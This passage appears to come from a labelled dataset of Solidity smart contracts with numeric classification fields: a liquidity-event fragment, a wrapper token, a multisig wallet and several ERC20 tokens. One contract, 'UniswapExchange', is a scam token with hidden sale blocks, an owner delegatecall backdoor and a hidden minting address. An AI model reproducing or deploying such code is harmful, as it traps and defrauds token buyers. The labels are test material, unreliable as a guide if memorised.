addUnitsContributed(0x4523b791292da89A9194B61bA4CD9d98f2af68E0, 109_647);
addUnitsContributed(0xD2FA59811af055e0e94D570EA7F9800c0E5C0428, 151);
addUnitsContributed(0xeeBa4a8f5b27D7d7c91cF4D4A716FbA042850f9A, 220);
addUnitsContributed(0x2eACd09e92273D5fb86Cf40504917F664EE15Da8, 11_999);
addUnitsContributed(0xbbAb2ca3dF54726D3F484aFFf85708C0075a4400, 289);
addUnitsContributed(0xC8D76B1Ae76bdE393ef4CD495502D18326623ec5, 123_992);
addUnitsContributed(0x882E11F884E9d221706DB9A36bA4856292b26d87, 1_399);
addUnitsContributed(0xb0e7C2319993C00B9430d18bDd9f98Fefb6B5857, 250);
addUnitsContributed(0x41AFc9c6414FE7C4AbBc9977B07E5C5e62F7938A ,1_147);
addUnitsContributed(0x3E4D97C22571C5Ff22f0DAaBDa2d3835E67738EB, 5_129);
addUnitsContributed(0x5924544A57e26b52231597aaa5E0374748C0a127, 2_056);
addUnitsContributed(0xa26f824aE181cD3893D77D0ACd2Fb7afc225e07e, 4_984);
addUnitsContributed(0x821fC6A963b94920c57966A31BA1cF9b7569Dd30, 9_645);
addUnitsContributed(0x09cC473b67696F31A8536D43C7CF4B32Ade588C8, 299);
addUnitsContributed(0x67593A4F0c1e290eaE66459eE160A82945a5886f, 268);
addUnitsContributed(0x2aCFd4D5EBbC9803Ee5B6BA190BA41B8b3e6A29d, 1_097);
addUnitsContributed(0xEd037d27846A6a7943B7b33AeBA526cd95Bd95Ce, 7_644);
addUnitsContributed(0xe39Bc99b80a9EFD0F14F82AEA1406Eee93D456F2, 860);
addUnitsContributed(0xA467b35b756359F55BC26bA82BAfA83B9Fb720Ed, 92);
addUnitsContributed(0x8261F215B09F6595A66C251625c24b6F52857195, 8_973);
addUnitsContributed(0x3D3C3EEAc517B72670DB36cb7380cd18B929430b, 27_958);
addUnitsContributed(0x27f5EB564BAEDb169C0c2d3a5ea1d25281D9a5e5, 36);
addUnitsContributed(0x473bbC06D7fdB7713D1ED334F8D8096CaD6eC3f3, 3_865);
addUnitsContributed(0x11ef72795691570b28277043d344D969f749A837, 120);
addUnitsContributed(0x2836cFCc14d89Ccf0B0a980e5605f24Fa0A4a735, 1_253);
addUnitsContributed(0x83d371D26FE57a17849F87B14717fbAd7C6B82A5, 499);
addUnitsContributed(0xf172ee7B2b94b70f975E98E25044F82E6C29f996, 941);
LPmismatchCredited = true;
}
function addUnitsContributed(address guy, uint256 amtFenny) internal {
unitsContributed[guy] = unitsContributed[guy].add(getUnitsContributedPerFenny(amtFenny));
totalUnitsContributed = totalUnitsContributed.add(getUnitsContributedPerFenny(amtFenny));
}
function addLiquidityToPairAdmin(uint256 ratio1ETHWholeBuysXCOREUnits, uint256 ratio1ETHWholeBuysXWrappedTokenUnits)
nonReentrant onlyOwner public{
addLiquidityToPair(false,ratio1ETHWholeBuysXCOREUnits, ratio1ETHWholeBuysXWrappedTokenUnits);
}
function getCORERefundForPerson(address guy) public view returns (uint256) {
return COREContributed[guy].mul(1e12).div(totalCOREContributed).
mul(totalCOREToRefund).div(1e12);
}
function getCOREREfund() nonReentrant public {
require(LGEFinished == true, "LGE not finished");
require(totalCOREToRefund > 0 , "No refunds");
require(COREContributed[msg.sender] > 0, "You didn't contribute anything");
require(CORERefundClaimed[msg.sender] == false , "You already claimed");
uint256 COREToRefundToThisPerson = getCORERefundForPerson(msg.sender);
CORERefundClaimed[msg.sender] = true;
IERC20(COREToken).transfer(msg.sender,COREToRefundToThisPerson);
}
function notMoreThan4PercentDeltaFromCurrentPrice(address pair, uint256 amtOutPer1ETH) internal {
(uint256 reserveWETHofWrappedTokenPair, uint256 reserveTokenofWrappedTokenPair) = getPairReserves(pair);
uint256 outTokenFor1WETH = COREIUniswapV2Library.getAmountOut(1e18, reserveWETHofWrappedTokenPair, reserveTokenofWrappedTokenPair);
require(amtOutPer1ETH.mul(104) > outTokenFor1WETH.mul(100)
&& outTokenFor1WETH.mul(96) < amtOutPer1ETH.mul(100),
"LGE : Delta of balances is too big from actual (4% or more)");
}
function addLiquidityToPair(bool publicCall, uint256 ratio1ETHWholeBuysXCOREUnits, uint256 ratio1ETHWholeBuysXWrappedTokenUnits)
internal {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(publicCall ? 2 hours : 0), "LGE : Liquidity generation ongoing");
require(LGEFinished == false, "LGE : Liquidity generation finished");
IERC95(wrappedToken).unpauseTransfers();
tokenBeingWrapped.transfer(wrappedToken, tokenBeingWrapped.balanceOf(address(this)));
IERC95(wrappedToken).wrapAtomic(address(this));
IERC95(wrappedToken).skim(address(this));
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).getPair(COREToken , wrappedToken);
if(wrappedTokenUniswapPair == address(0)) {
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).createPair(
COREToken,
wrappedToken
);
}
uint256 DEV_FEE = 724;
address devaddress = ICoreVault(coreGlobals.COREVaultAddress()).devaddr();
IERC95(wrappedToken).transfer(devaddress, IERC95(wrappedToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
IERC20(COREToken).transfer(devaddress, IERC20(COREToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
uint256 balanceCORENow = IERC20(COREToken).balanceOf(address(this));
uint256 balanceCOREWrappedTokenNow = IERC95(wrappedToken).balanceOf(address(this));
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
if(publicCall == false){
notMoreThan4PercentDeltaFromCurrentPrice(coreEthPair, ratio1ETHWholeBuysXCOREUnits);
notMoreThan4PercentDeltaFromCurrentPrice(preWrapEthPair, ratio1ETHWholeBuysXWrappedTokenUnits);
uint256 totalValueOfWrapper = balanceCOREWrappedTokenNow.div(ratio1ETHWholeBuysXWrappedTokenUnits).mul(1e18);
uint256 totalValueOfCORE = balanceCORENow.div(ratio1ETHWholeBuysXCOREUnits).mul(1e18);
totalCOREToRefund = totalValueOfWrapper >= totalValueOfCORE ? 0 :
totalValueOfCORE.sub(totalValueOfWrapper).mul(coreTokenPer1ETH).div(1e18);
require(totalValueOfWrapper.mul(100) < totalValueOfCORE.mul(104), "Too much WBTC value ( max 4% deviation)");
}else{
notMoreThan4PercentDeltaFromCurrentPrice(preWrapEthPair, tokenBeingWrappedPer1ETH);
notMoreThan4PercentDeltaFromCurrentPrice(coreEthPair, coreTokenPer1ETH);
uint256 totalValueOfWrapper = balanceCOREWrappedTokenNow.div(tokenBeingWrappedPer1ETH).mul(1e18);
uint256 totalValueOfCORE = balanceCORENow.div(coreTokenPer1ETH).mul(1e18);
totalCOREToRefund = totalValueOfWrapper >= totalValueOfCORE ? 0 :
totalValueOfCORE.sub(totalValueOfWrapper).mul(coreTokenPer1ETH).div(1e18);
require(totalValueOfWrapper.mul(100) < totalValueOfCORE.mul(104), "Too much WBTC value ( max 4% deviation)");
}
IERC95(wrappedToken).transfer(wrappedTokenUniswapPair, IERC95(wrappedToken).balanceOf(address(this)));
IERC20(COREToken).transfer(wrappedTokenUniswapPair, balanceCORENow.sub(totalCOREToRefund));
require(IUniswapV2Pair(wrappedTokenUniswapPair).totalSupply() == 0, "Somehow total supply is higher, sanity fail");
IUniswapV2Pair(wrappedTokenUniswapPair).mint(address(this));
totalLPCreated = IUniswapV2Pair(wrappedTokenUniswapPair).balanceOf(address(this));
LPPerUnitContributed = totalLPCreated.mul(1e18).div(totalUnitsContributed.sub(totalCOREToRefund));
require(LPPerUnitContributed > 0, "LP Per Unit Contribute Must be above Zero");
LGEFinished = true;
ICORETransferHandler(coreGlobals.TransferHandler()).sync(wrappedTokenUniswapPair);
ICORETransferHandler(coreGlobals.TransferHandler()).sync(coreEthPair);
}
} | 0 | 525 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20OldBasic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20Old is ERC20OldBasic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY;
mapping (address => bool) private isSigner;
bool public erc20old;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy, bool _erc20old) Ownable() {
originalToken = _originalToken;
TRANSFER_PROXY = _transferProxy;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
erc20old = _erc20old;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
if (erc20old) {
ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value);
} else {
require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value));
}
balances[msg.sender] = balances[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint8 v,
bytes32 r,
bytes32 s,
uint _value,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now <= depositLock[msg.sender]) {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, _value);
} else {
require(ERC20(originalToken).transfer(msg.sender, _value));
}
return true;
}
function withdrawBalanceDifference() public onlyOwner returns (bool success) {
require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0);
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_));
} else {
require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)));
}
return true;
}
function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) {
require(_differentToken != originalToken);
require(ERC20(_differentToken).balanceOf(address(this)) > 0);
if (_erc20old) {
ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)));
} else {
require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))));
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
assert(msg.sender == TRANSFER_PROXY);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} | 0 | 55 |
pragma solidity ^0.5.0;
contract zeroXWrapper {
event forwarderCall (bool success);
function zeroXSwap (address to, address forwarder, bytes memory args) public payable{
(bool success, bytes memory returnData) = forwarder.call.value(msg.value)(args);
emit forwarderCall(success);
}
function () external payable {
}
} | 0 | 638 |
pragma solidity 0.5.2;
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == address(0))
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == address(0))
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
constructor(address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == address(0))
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage transaction = transactions[transactionId];
transaction.executed = true;
bool success;
bytes memory _returnData;
(success, _returnData) = transaction.destination.call.value(transaction.value)(transaction.data);
if (success)
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
transaction.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0 | 302 |
pragma solidity >=0.4.22 <0.6.0;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract WSKY {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
) public {
totalSupply = 100000000 * 10 ** uint256(18);
balanceOf[msg.sender] = totalSupply;
name = "WSKY";
symbol = "WSKY";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 | 2,766 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,276 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
